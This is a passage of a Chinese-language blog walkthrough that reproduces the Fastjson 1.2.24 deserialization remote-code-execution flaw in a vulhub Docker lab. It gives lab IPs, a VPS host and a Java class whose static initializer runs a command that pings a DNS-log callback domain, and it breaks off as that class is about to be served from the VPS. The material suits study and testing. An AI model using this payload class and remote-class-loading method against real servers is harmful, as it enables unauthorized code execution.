[漏洞复现]Fastjson1.2.24反序列化环境搭建+漏洞复现

您所在的位置：网站首页 › java反序列化漏洞靶场 › [漏洞复现]Fastjson1.2.24反序列化环境搭建+漏洞复现

[漏洞复现]Fastjson1.2.24反序列化环境搭建+漏洞复现

2024-07-07 22:58| 来源: 网络整理| 查看: 265

前言：

Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。 Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。 Fastjson 特性：

提供服务器端、安卓客户端两种解析工具，性能表现较好。提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方法即可将对象转换成 JSON 字符串，parseObject 方法则反过来将 JSON 字符串转换成对象。允许转换预先存在的无法修改的对象（只有class、无源代码）。 Java泛型的广泛支持。允许对象的自定义表示、允许自定义序列化类。支持任意复杂对象（具有深厚的继承层次和广泛使用的泛型类型）复现环境、工具：

jdk环境 Maven环境攻击机：192.168.31.159（win10）靶机：192.168.30.128:8090(kali虚拟机通过docker搭建fastjson环境) http、rmi服务：106.13.9.xx（VPS服务器）

第一步： kali安装docker后下载靶场环境vulhub： https://blog.csdn.net/SuPejkj/article/details/103707207

cd /vulhub/fastjson/1.2.24-rce docker-compose up -d

在这里插入图片描述第二步：此时kali中docker中已经启动了fastjson1.2.24环境，查看Kali地址通过浏览器访问。

在这里插入图片描述第三步：jdk和Maven环境环境搭建，这里百度一抓一大把，就不在此处进行阐述了。

漏洞复现（dnslog回显）

保存以下代码为Jimolang.java文件（这里文件名一定要和public class Jimolang类名报保持一致）：

import java.lang.Runtime; import java.lang.Process; public class Jimolang{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"ping", "xxx.dnslog.cn"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }

这里注意代码中的{"ping", "xxx.dnslog.cn"} xxx.dnslog.cn就是我们的dnslog平台地址。

通过javac来编译当前java文件生成Jimolang.class文件（由于执行javac需要jdk环境，所以在第三步的时候需要安装jdk环境）

javac Jimolang.java

在这里插入图片描述第四步：把生成的Jimolang.class文件传到公网vps中（我这里是公网的vps），然后在Jimolang.class目录中通过python3启动一个简单的http服务，命令如下：